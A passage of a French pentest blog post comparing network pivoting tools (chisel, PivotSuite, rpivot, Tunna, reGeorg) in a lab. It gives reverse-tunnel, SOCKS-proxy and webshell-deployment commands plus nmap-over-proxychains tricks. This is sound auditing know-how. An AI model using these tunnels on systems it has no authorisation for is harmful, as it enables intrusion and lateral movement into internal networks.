  • Ouverture port par port
  • À déployer sur la machine pivot
  • Tunnel TCP

Local port forwarding + SOCKS proxy

Sur la machine pivot :

$ chisel server -p 8080 --host 192.168.2.105 --socks5 -v

Sur la machine de l’auditeur :

$ chisel client -v http://192.168.2.105:8080 127.0.0.1:33333:socks

Vérification :

$ curl –head http://10.42.42.2 –proxy socks5://127.0.0.1:33333

Avantages :

  • Nul besoin d’un compte privilégié
  • Simple à mettre en place
  • Nul besoin de serveur SSH
  • Nul besoin de connaître les login/mot de passe d’un utilisateur
  • Encapsulation HTTP
  • Ouverture de port et cible dynamique

Inconvénients :

  • Ouverture de port sur la machine pivot
  • À déployer sur la machine pivot
  • Tunnel TCP

Reverse remote port forwarding

Sur la machine de l’auditeur :

$ chisel server -p 8888 --host 192.168.2.149 --reverse -v

Sur la machine pivot :

$ chisel client -v http://192.168.2.149:8888 R:127.0.0.1:44444:10.42.42.2:80

Vérification :

$ curl --head http://127.0.0.1:44444

Avantages :

  • Nul besoin d’un compte privilégié
  • Simple à mettre en place
  • Nul besoin de serveur SSH
  • Nul besoin de connaître les login/mot de passe d’un utilisateur
  • Encapsulation HTTP

Inconvénients :

  • Ouverture de port sur la machine pivot
  • Ouverture port par port
  • À déployer sur la machine pivot
  • Tunnel TCP

Reverse remote port forwarding + proxy SOCKS (auto local port forwarding internal socks proxy)

Sur la machine de l’auditeur :

$ chisel server -p 8888 --host 192.168.2.149 --reverse -v

Lancer chisel server -p 55555 –host 127.0.0.1 –socks5 -v pour bénéficier d’un proxy socks ne fonctionne pas car chisel ne peut pas être utilisé comme proxy socks directement. De plus, il n’y pas d’option pour créer un serveur proxy socks via le client, uniquement le serveur peut le faire.

Pour pouvoir avoir un serveur proxy socks sur la machine pivot, il va falloir lancer un serveur chisel avec l’option socks, s’y connecter avec un 2ème client chisel et faire un local port forward sur le serveur chisel local afin de partager le serveur proxy socks avec le premier client, qui lui-même le transférera au serveur chisel distant qui se trouve sur la machine de l’auditeur. Pour résumer, il y aura 3 instances chisel sur la machine pivot (2 clients + 1 serveur).

Sur la machine pivot :

$ chisel client -v http://192.168.2.149:8888 R:127.0.0.1:44444:127.0.0.1:55555
$ chisel server -p 62000 --host 127.0.0.1 --socks5 -v
$ chisel client -v http://127.0.0.1:62000 127.0.0.1:55555:socks

Note :

Bien sûr, cette configuration avancée a pour but de n’utiliser que chisel, mais si on a déjà déployé un autre serveur proxy socks tel que 3proxy, il est possible de remplacer les 2 dernières commandes par ./socks -p55555 -tstop -d.

Vérification :

$ curl --head http://10.42.42.2 --proxy socks5://127.0.0.1:44444

Avantages :

  • Nul besoin d’un compte privilégié
  • Nul besoin de serveur SSH
  • Nul besoin de connaître les login/mot de passe d’un utilisateur
  • Encapsulation HTTP
  • Ouverture de port et cible dynamique

Inconvénients :

  • Ouverture de port sur la machine pivot
  • À déployer sur la machine pivot
  • Tunnel TCP

VPN Pivot - VPN tunnel

Exemple théorique

VPN Pivot est disponible sur GitHub.

VPNPivot fonctionne essentiellement comme la technique de VPN over SSH sauf que le chiffrement est assuré par SSL/TLS et pas par SSH.

Sur la machine de l’auditeur, on lance le serveur en spécifiant l’interface réseau virtuelle temporaire à créer, l’IP que l’on souhaite avoir dans le réseau distant et le port sur lequel le serveur va écouter.

$ sudo pivots -i tun7 -I 10.42.42.3/24 -p 28888 -v

Sur la machine pivot, il ne faut pas oublier d’activer l’ip forwarding.

$ sudo sysctl net.ipv4.conf.default.forwarding=1

Toujours sur la machine pivot, on lance le client en spécifiant l’adresse du serveur et l’adresse de l’interface sur laquelle se trouve le réseau distant.

$ sudo pivotc 192.168.2.149 28888 10.42.42.1

Encore une fois sur la machine pivot, il faut mettre en place une règle de NAT pour ne pas avoir besoin de déployer de route sur le réseau distant.

$ sudo iptables -t nat -A POSTROUTING -s 10.42.42.3 -o eth1 -j MASQUERADE
$ sudo iptables -t nat -A POSTROUTING -s 10.42.42.3 -d 10.42.42.0/24 -j MASQUERADE

Note :

Le code n’est malheureusement pas maintenu et le fonctionnement interne de l’application est un peu obscure.

Avantages :

  • “Tunnellisation” de couche 2 (IP forwarding)
  • Nul besoin de serveur SSH
  • Nul besoin de connaître les login/mots de passe d’un utilisateur

Inconvénients :

  • Activation de l’IP forwarding sur le serveur : nécessite les droits root
  • Mise en place de NAT sur le pivot : nécessite les droits root
  • Beaucoup de configuration requise
  • Mise en place des pré-requis peu furtive
  • À déployer sur la machine pivot
  • TPC over TCP (lent)

PivotSuite - multi port forwarding + proxy SOCKS

PivotSuite est disponible sur GitHub.

PivotSuite est un outil qui va permettre de mettre en place l’équivalent d’un SSH [local|reverse remote|reverse dynamic] port forwarding mais qui supporte en plus l’UDP over TCP, le pivoting multi-niveau (comme nous avons vu avec Metasploit), l’énumération réseau et serveur proxy SOCK5 inclus.

“Remote” local port forwarding

Dans ce cas de figure, seul le serveur (sur la machine pivot) est utilisé, il n’y a pas besoin du client car on fait un local port forwarding sur la machine pivot (donc à distance, d’où le “remote”) et au lieu d’exposer 127.0.0.1 on expose l’IP du réseau externe.

Il faut donc lancer l’une des deux commandes suivantes sur la machine pivot :

$ pivotsuite -S -F --server-option=PF --forward-ip=10.42.42.2 --forward-port=80 --server-ip=192.168.2.105 --server-port=8080
$ pivotsuite -S -F --server-option=PF --remote-ip=10.42.42.2 --remote-port=80 --server-ip=192.168.2.105 --server-port=8080

Note :

Les options –forward-XX et –remote-XX sont exactement identiques pour le mode serveur. La documentation officielle utilise l’un ou l’autre ce qui porte à confusion.

On peut consulter Srv App 2 directement en contactant Srv App 1.

$ curl --head http://192.168.2.105:8080

Évidemment, le gros désavantage de cette technique de remote local port forwarding est qu’elle expose le port à tout le monde sur le réseau externe. Malheureusement, il n’est pas possible d’utiliser le client pour transférer le trafic sur la machine de l’attaquant et d’y exposer un port en local.

Avantages :

  • Nul besoin d’un compte privilégié
  • Nul besoin de connaître les login/mot de passe d’un utilisateur
  • Fonctionne avec python 2 ou 3

Inconvénients :

  • À déployer sur la machine pivot
  • Port exposé à tout le monde
  • Besoin d’ouvrir un port sur la machine pivot
  • Ouverture port par port
  • Tunnel TCP

“Remote” dynamic port forwarding

Le dynamic port forwarding n’est jamais qu’un local port forwarding + proxy socks géré automatiquement en interne. Là encore il n’y a pas moyen de transférer le trafic au client donc il faut exposer un port directement sur la machine pivot.

On lance donc le serveur en mode proxy SOCKS sur la machine pivot.

$ pivotsuite -S -F --server-option=SP --server-ip=192.168.2.105 --server-port=8080

Cela permet à l’auditeur de se connecter au proxy SOCKS pour faire ses requêtes.

$ curl --head http://10.42.42.2 --proxy socks5://192.168.2.105:8080

Avantages :

  • Nul besoin d’un compte privilégié
  • Nul besoin de connaître les login/mot de passe d’un utilisateur
  • Fonctionne avec python 2 ou 3
  • Ouverture de port et cible dynamique

Inconvénients :

  • À déployer sur la machine pivot
  • Besoin d’ouvrir un port sur la machine pivot
  • Proxy accessible à tout le monde
  • Tunnel TCP

Reverse remote port forwarding

Sur la machine de l’auditeur, on lance le serveur :

$ pivotsuite -S -W --server-ip 192.168.2.149 --server-port 8090

Sur la machine pivot, on lance le client :

$ pivotsuite -C -O PF -R --local-ip 127.0.0.1 --local-port 9999 --remote-ip 10.42.42.2 --remote-port 80 --server-ip 192.168.2.149 --server-port 8090

Puis l’auditeur peut contacter le serveur distant :

$ curl --head http://127.0.0.1:9999

Avantages :

  • Nul besoin d’un compte privilégié
  • Nul besoin de connaître les login/mots de passe d’un utilisateur
  • Fonctionne avec python 2 ou 3
  • Pas d’ouverture de port sur le pivot

Inconvénients :

  • À déployer sur la machine pivot
  • Ouverture port par port
  • Tunnel TCP

Reverse dynamic port forwarding

Sur la machine de l’auditeur on lance le serveur :

$ pivotsuite -S -W --server-ip 192.168.2.149 --server-port 8090

Malheureusement, l’outil  ne permet pas de choisir l’adresse locale (sur la machine de l’auditeur) sur laquelle sera liée le serveur proxy SOCKS. Le serveur (machine de l’auditeur) lance donc un proxy SOCKS sur l’adresse 0.0.0.0, c’est-à-dire sur toutes les interfaces et choisit un port aléatoire différent à chaque connexion du client. Cela veut dire que le proxy SOCKS sera exposé publiquement sur toutes les interfaces de la machine de l’auditeur, ce qui pose un gros problème de sécurité, et accessoirement que le port sera imprévisible et donc qu’il rendra le scripting plus difficile.

$ pivotsuite -C -O SP --server-ip 192.168.2.149 --server-port 8090

Après la connexion du client, on observe que le serveur est en écoute sur toutes les interfaces sur un port aléatoire :

2019-09-05 17:02:05,900 - DEBUG - [+] Client 192.168.2.105:59294 Connected
2019-09-05 17:02:05,900 - DEBUG - [+] Configure ProxyChains 0.0.0.0:1903 ==>> HOST 192.168.2.105
2019-09-05 17:04:41,915 - DEBUG - [+] Client 192.168.2.105:59298 Connected
2019-09-05 17:04:41,916 - DEBUG - [+] Configure ProxyChains 0.0.0.0:7684 ==>> HOST 192.168.2.105

On peut donc malheureusement se connecter au proxy depuis n’importe quelle interface.

$ curl --head http://10.42.42.2 --proxy socks5://192.168.2.149:7684
$ curl --head http://10.42.42.2 --proxy socks5://127.0.0.1:7684

Ajouter –local-ip 127.0.0.1 –local-port 9999 aux options du client ne change rien, ces paramètres sont ignorés.

L’usage de cet outil est donc fortement déconseillé.

Avantages :

  • Nul besoin d’un compte privilégié
  • Nul besoin de connaître les login/mot de passe d’un utilisateur
  • Fonctionne avec python 2 ou 3
  • Ouverture de port et cible dynamique
  • Pas d’ouverture de port sur le pivot

Inconvénients :

  • À déployer sur la machine pivot
  • Proxy accessible à tout le monde
  • Port aléatoire
  • Tunnel TCP

Scénario simplifié : cible derrière un NAT

Nous avons vu précédemment le cas d’une machine accessible avec une IP publique, cependant le cas le plus commun implique une machine qui se trouve derrière un NAT. Le trafic vers la cible est transféré port par port. Cela veut dire que tous les ports liés, autres que ceux présents dans les règles de translation de port, ne seront pas accessibles depuis l’extérieur.

Par exemple, lors d’un test externe en boîte noire, on peut imaginer un serveur qui se trouve derrière un pare-feu dont seul le service SSH sur le port 22 est “NATé”. Dans le sens attaquant vers pivot, il n’est possible que de passer par le port 22 qui est déjà occupé par le serveur SSH, par contre dans l’autre sens, s’il n’y a pas de règle de pare-feu qui l’empêche, il est possible d’utiliser tous les ports.

C’est pourquoi utiliser la machine pivot non plus comme serveur SSH mais comme client permet de contourner cela ou bien encore de monter un VPN à l’intérieur de la session SSH, et que certaines des techniques que nous avons vues précédemment sont toujours valides dans ce cas de figure.

  • SSH reverse remote port forwarding
  • SSH reverse remote port forwarding + proxy SOCKS
  • VPN over SSH
  • Chisel – reverse remote port forwarding
  • Chisel – reverse remote port forwarding + proxy SOCKS
  • VPN Pivot – VPN tunnel
  • PivotSuite – Reverse remote port forwarding
  • PivotSuite – Reverse dynamic port forwarding

Par la suite, nous verrons des méthodes supplémentaires à l’aide d’outils qui permettent de traverser le NAT simplement.

Rpivot - Reverse proxy

Rpivot est disponible sur GitHub.

Rpivot est un reverse proxy SOCKS, il permet de se connecter à la machine de l’auditeur et d’y lier un proxy SOCKS. Il fonctionne de manière similaire au SSH dynamic port forwarding mais dans l’autre sens.

On lance le serveur rpivot sur la machine de l’auditeur :

$ python2 server.py --server-port 9999 --server-ip 192.168.2.149 --proxy-ip 127.0.0.1 --proxy-port 21000

Puis le client sur la machine pivot :

$ python2 client.py --server-ip 192.168.2.149 --server-port 9999

L’auditeur peut donc utiliser le proxy SOCKS4 :

$ curl --head http://10.42.42.2 --proxy socks4://127.0.0.1:21000
HTTP/1.1 302 Found
Date: Thu, 29 Aug 2019 13:24:13 GMT
Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1c PHP/7.3.8
X-Powered-By: PHP/7.3.8
Location: http://10.42.42.2/dashboard/
Content-Type: text/html; charset=UTF-8

Il est possible de pivoter à travers un proxy NTLM, ce qui peut s’avérer utile en environnement Windows.

Afin de faciliter le déploiement, pour ne pas avoir à décompresser et extraire l’archive du dépôt git de rpivot sur la machine pivot, il est possible de générer une archive ZIP qui sera directement utilisable par python, aussi bien comme client que comme serveur.

L’archive peut être générée avec zip ou 7z :

$ zip rpivot.zip -r *.py ./ntlm_auth/
$ 7z a -r rpivot.zip *.py ./ntlm_auth/

Ensuite l’archive est utilisable en tant que serveur ou client :

$ python2 rpivot.zip server --server-port 9999 --server-ip 192.168.2.149 --proxy-ip 127.0.0.1 --proxy-port 21000
$ python2 rpivot.zip client --server-ip 192.168.2.149 --server-port 9999

Avantages :

  • Nul besoin d’un compte privilégié
  • Nul besoin que le serveur SSH soit activé
  • Nul besoin de connaître les login/mot de passe d’un utilisateur
  • Ouverture de port et cible dynamique

Inconvénients :

  • Nécessite python 2
  • Déploiement du script sur le pivot
  • Tunnel TCP

Tunna / Fulcrom - HTTP tunnel

Tunna est disponible sur GitHub.

Tunna est un outil qui permet de faire passer toutes les communications TCP à travers un tunnel HTTP afin d’éviter, par exemple, un pare-feu avec inspection applicative qui vérifie que le trafic qui le traverse respecte bien le protocole autorisé (HTTP).

Tout d’abord il faut déployer un webshell sur l’application web vulnérable. Des webshells ASPX, JSP et PHP sont disponibles. Dans le cadre de cet article, nous utiliserons le webshell PHP que nous déploierons directement sur la machine pivot et qui sera servi via le serveur HTTP interne de PHP avec la commande suivante : php -S 192.168.2.149:8080. Cependant le scénario classique serait de compromettre une application web et d’y déployer le webshell.

Depuis le poste de l’auditeur, il suffit de fournir l’URL du webshell et le port local qu’on souhaite ouvrir ainsi que l’adresse et le port distant à joindre.

$ python2 proxy.py -u http://192.168.2.105:8080/conn.php -l 7777 -r 80 -a 10.42.42.2 -v
  _____
 |_   _|   _ _ __  _ __   __ _
   | || | | | '_ \| '_ \ / _` |
   | || |_| | | | | | | | (_| |
   |_| \__,_|_| |_|_| |_|\__,_|

Tunna v1.1a, for HTTP tunneling TCP connections by Nikos Vassakis
http://www.secforce.com / nikos.vassakis  secforce.com
###############################################################

[+] Sending File
[Server] File Uploaded at /tmp/996-socks4aServer.py
[+] Spawning keep-alive thread
[+] Checking for proxy: True
[+] Starting Socket Server
[S]  Fri Aug 30 18:52:25 2019 Server Starts - localhost:7777
[+] Starting Ping thread
 [T] Connected To Socks:  ('127.0.0.1', 41564)

Ainsi, nous avons effectué un local port forwarding mais encapsulé dans HTTP.

L’auteur de l’outil prévient que les webshells qu’il a développés ne sont pas fiables, en particulier celui en PHP (ce que je peux confirmer). Il y a donc une autre méthode qui vise à lancer un agent python sur la machine pivot (perdant cependant un des intérêts de l’outil).

Le problème est que dans un cas d’utilisation réel :

  1. Il est plus probable de pouvoir uploader un webshell (ex : upload non restreint + LFI) que de pouvoir déployer l’agent (exécution de code et/ou exécution de commande).
  2. Si seuls les ports 80 et 443 sont autorisés et déjà utilisés, il ne sera pas possible de démarrer l’agent python sur ces mêmes ports.

L’agent est en python 2 et requiert qu’openssl et python2-pyopenssl soient installés, ce qui est déjà très probablement le cas pour openssl mais qui ne l’est pas du tout pour le module pyopenssl.

Ensuite, il suffit de lancer python2 webserver.py sur la machine pivot pour obtenir un serveur web sur le port 8000 en écoute sur 0.0.0.0. Bien sûr, il faut avoir déployé Tunna au préalable.

De la même manière, on peut lancer le local port forwarding.

$ python2 proxy.py -u http://192.168.2.105:8000/ -l 7777 -r 80 -a 10.42.42.2 -v

Comme à chaque fois, vérifions que nous arrivons bien à joindre notre cible.

$ curl --head localhost:7777
HTTP/1.1 302 Found
Date: Tue, 03 Sep 2019 08:19:25 GMT
Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1c PHP/7.3.8
X-Powered-By: PHP/7.3.8
Location: http://localhost:7777/dashboard/
Content-Type: text/html; charset=UTF-8

Attention :

Le code est ancien et contient beaucoup de bugs, les webshells fonctionnent rarement, et même l’agent python peut s’interrompre en pleine utilisation, ce qui en fait globalement un outil peu fiable. Il est donc recommandé d’utiliser une autre technique.

Avantages :

  • Nul besoin d’un compte privilégié
  • Aucune d’ouverture de port sur le pivot (webshell)
  • Encapsulation HTTP (webshell, agent)

Inconvénients :

  • Nécessité d’avoir un serveur web compromis (webshell)
  • Ouverture port par port
  • Tunnel TCP
  • Ouverture de port sur le pivot (agent)
  • Besoin de déployer sur la machine pivot (agent)
  • Requiert un module non installé par défaut (agent)
  • Webshell et agent peu fiables
  • Code ancien en python 2 pas compatible python 3 (côté client et serveur)

Note :

Un fork de Tunna, Fulcrom, avait initialement apporté des améliorations dont certaines ont ensuite été ajoutées au projet de départ. Aujourd’hui, Fulcrom n’est plus maintenu et est resté au même niveau que Tunna en 2017.

reGeorg / Neo-reGeorg - SOCKS proxy via webshell

reGeorg est disponible sur GitHub.

reGeorg va fonctionner de manière similaire à Tunna, c’est-à-dire communiquer avec un webshell mais au lieu de faire du local port forwaring il va créer un proxy SOCKS en local.

Le scénario reste le même : déployer un webshell sur la machine compromise et établir la connexion depuis la machine de l’auditeur.

En PHP, pour émuler le serveur web compromis on peut lancer sur la machine pivot PHP -S 192.168.2.105:8080.

Ensuite, sur la machine de l’auditeur, on fournit l’URL du webshell et l’adresse locale sur laquelle on veut lancer le proxy SOCKS.

$ python2 reGeorgSocksProxy.py -u http://192.168.2.105:65000/tunnel.php -l 127.0.0.1 -p 7777

Plusieurs problèmes très gênants apparaissent avec ce webshell PHP, car il fait usage de dl(“php_sockets.dll”); :

  • l’usage de la fonction dl() a été supprimé de la plupart des SAPIs dans PHP 5.3.0, et a été supprimé de PHP-FPM dans php 7.0.0.
  • le chargement d’une extension externe php_sockets
  • le fait qu’il essaie de charger uniquement une dll (et donc compatible avec Windows uniquement)

On peut donc lancer la version nosocket (qui ne fonctionne pas à tous les coups) :

$ python2 reGeorgSocksProxy.py -u http://192.168.2.105:65000/tunnel.nosocket.php -l 127.0.0.1 -p 7777

L’utilisation du webshell PHP semble ne pas être possible dans la majorité des cas. Il reste cependant des webshells ashx (ASP.NET), aspx (ASP.NET), js (nodejs) et jsp (Java + une version spécifique Tomcat5).

La version nodejs n’est pas un webshell mais un agent autonome, il est possible de le lancer de la manière suivante :

$ node tunnel.js

Il n’est pas configurable et démarre uniquement sur 127.0.0.1:65000, il va donc falloir modifier l’adresse d’écoute en 192.168.2.105 ou 0.0.0.0 pour pouvoir le contacter depuis la machine de l’auditeur.

Ensuite, de la même manière que pour le webshell PHP, il suffit de lancer :

$ python2 reGeorgSocksProxy.py -u http://192.168.2.105:65000/tunnel.js -l 127.0.0.1 -p 7777

Dans tous les cas, nous pouvons utiliser nos outils avec le proxy SOCKS 4 :

$ curl --head http://10.42.42.2 --proxy socks4://127.0.0.1:7777
HTTP/1.1 302 Found
Date: Tue, 03 Sep 2019 12:36:44 GMT
Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1c PHP/7.3.8
X-Powered-By: PHP/7.3.8
Location: http://10.42.42.2/dashboard/
Content-Type: text/html; charset=UTF-8

Avantages :

  • Nul besoin d’un compte privilégié
  • Aucune ouverture de port sur le pivot (webshell)
  • Encapsulation HTTP (webshell, agent)

Inconvénients :

  • Besoin d’un serveur web compromis (webshell, ex : php)
  • Tunnel TCP
  • Ouverture de port sur le pivot (agent, ex: js)
  • Besoin de déployer sur la machine pivot (agent, ex: js)
  • Requiert un module non installé par défaut (webshell, ex : php)
  • Webshells PHP peu fiables
  • Code ancien en python 2 pas compatible python 3 (côté client)

Un fork nommé Neo-reGeorg apporte un certain nombre d’améliorations comme le support du python3, la génération dynamique des webshells avec protection par mot de passe, etc.

On peut générer les webshells protégés par mot de passe de la sorte :

$ python3 neoreg.py generate -k pivotpassword

...

    [+] Mkdir a directory: neoreg_server
    [+] Create neoreg server files:
       => neoreg_server/tunnel.tomcat.5.jsp
       => neoreg_server/tunnel.php
       => neoreg_server/tunnel.nosocket.php
       => neoreg_server/tunnel.jsp
       => neoreg_server/tunnel.js
       => neoreg_server/tunnel.aspx
       => neoreg_server/tunnel.ashx

Nous allons déployer l’agent nodejs comme précédemment, car malheureusement les webshells et agents sont exactement les mêmes que ceux de reGeorg et souffrent donc des mêmes défauts.

Pour établir la connexion avec le pivot, on fournit le mot de passe et l’URL de l’agent :

$ python3 neoreg.py -k pivotpassword -u http://192.168.2.105:65000/tunnel.js

...

  Log Level set to [ERROR]
  Starting socks server [127.0.0.1:1080], tunnel at [http://192.168.2.105:65000/tunnel.js]

Nous pouvons vérifier le bon fonctionnement du proxy SOCKS : curl –head http://10.42.42.2 –proxy socks4://127.0.0.1:1080.

Note :

Le fork est globalement mieux que sa version originale.

Utilisation d’outils courants à travers un proxy SOCKS

Proxychains

Proxychains est un outil permettant faire passer le trafic réseau à travers un ou plusieurs proxy(s) SOCKS. Ce qui est bien utile lorsqu’un outil ne peut pas passer à travers un proxy nativement.

Avec l’une des nombreuses techniques vues précédemment, on met en place un serveur proxy SOCKS 4 à l’adresse 127.0.0.1 sur le port 21000.

La configuration de proxychains est simple, il suffit d’éditer le ficher /etc/proxychains.conf et d’y ajouter la liste du ou des proxy SOCKS à travers lesquels on veut se connecter.

[ProxyList]
socks4  127.0.0.1 21000

Ensuite, il suffit de préfixer la commande de l’outil qui doit passer à travers le proxy SOCKS par proxychains :

$ proxychains curl --head http://10.42.42.2
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/libproxychains4.so
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] Strict chain  ...  127.0.0.1:21000  ...  10.42.42.2:80  ...  OK
HTTP/1.1 302 Found
Date: Thu, 05 Sep 2019 17:25:41 GMT
Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1c PHP/7.3.8
X-Powered-By: PHP/7.3.8
Location: http://10.42.42.2/dashboard/
Content-Type: text/html; charset=UTF-8

Accélérer nmap à travers proxychains

Il est possible de lancer nmap via proxychains de la même façon que vue précédemment mais on remarquera que, de cette manière, le scan est beaucoup plus lent que d’habitude.

Pour accélérer le processus, il est possible de découper la commande nmap<:span> et de lancer plusieurs tâches en parallèle à l’aide de xargs.

Nous verrons deux cas de figure classiques :

  1. L’auditeur veut scanner tous les ports d’une machine donnée.
  2. L’auditeur veut scanner un nombre restreint de ports de plusieurs machines ou d’un sous-réseau entier.

Une machine et plusieurs ports

La manière classique serait de lancer la commande suivante, un scan TCP sur la machine 10.42.42.2 où l’on va vérifier tous les ports (-p- = -p 1-65535).

$ proxychains nmap -p- -sT -T4 10.42.42.2 -oA 10.42.42.2 --open

Mais, pour accélérer le temps de scan, on peut générer les nombres de 1 à 65535 avec seq que l’on va donner en entrée à xargs. xargs sera chargé de lancer plusieurs threads (ici 50 avec -P 50). Avec l’option -I port, nous allons créer une variable qui contiendra le numéro de port généré par seq que nous pourrions passer à nmap (-p port). De cette manière, nous pouvons répartir les 65535 ports à scanner sur 50 threads.

Il faut aussi faire attention aux options de nmap, nous ne pouvons pas nous contenter de faire un -oA nom_du_fichier car puisque nous allons lancer 65535 fois la commande nmap. Nous écraserions les fichiers de sortie à chaque fois, d’où l’utilisation de l’option –append-output pour ajouter les résultats aux fichiers existants. Nous pouvons aussi désactiver la découverte d’hôte et la résolution DNS avec -Pn -n pour gagner un peu de temps.

Cela donne au final la commande suivante :

$ seq 1 65535 | xargs -P 50 -I port proxychains -q nmap -p port -sT -T4 10.42.42.2 -oG 10.42.42.2 --open --append-output 10.42.42.2 -Pn -n

Plusieurs machines et plusieurs ports

De la même manière, nous pouvons scanner plusieurs machines, au lieu de répartir les threads par port nous allons les découper par host.

La commande classique suivante…

$ proxychains nmap -p- -sT -T4 --top-ports 20 10.42.42.0/24 -oG 10.42.42.0 --open

… devient donc avec xargs :

$ seq 1 254 | xargs -P 50 -I cpt proxychains -q nmap --top-ports 20 -sT -T4 10.42.42.cpt -oG 10.42.42.0 --open --append-output 10.42.42.cpt -Pn -n

Comparatif

Références

  • La page man de SSH
  • La documentation des outils (doc, README, wiki, message d’aide)
A propos du blogueur

Alexandre ZANNI, AKA, noraj, ingénieur en cybersécurité de formation, travaille en tant que pentester (auditeur sécurité/technique) chez Orange Cyberdefense depuis 2018.

Son site : https://pwn.by/noraj/

Deux pentesters d'Orange Cyberdefense partricipent à l'ECSC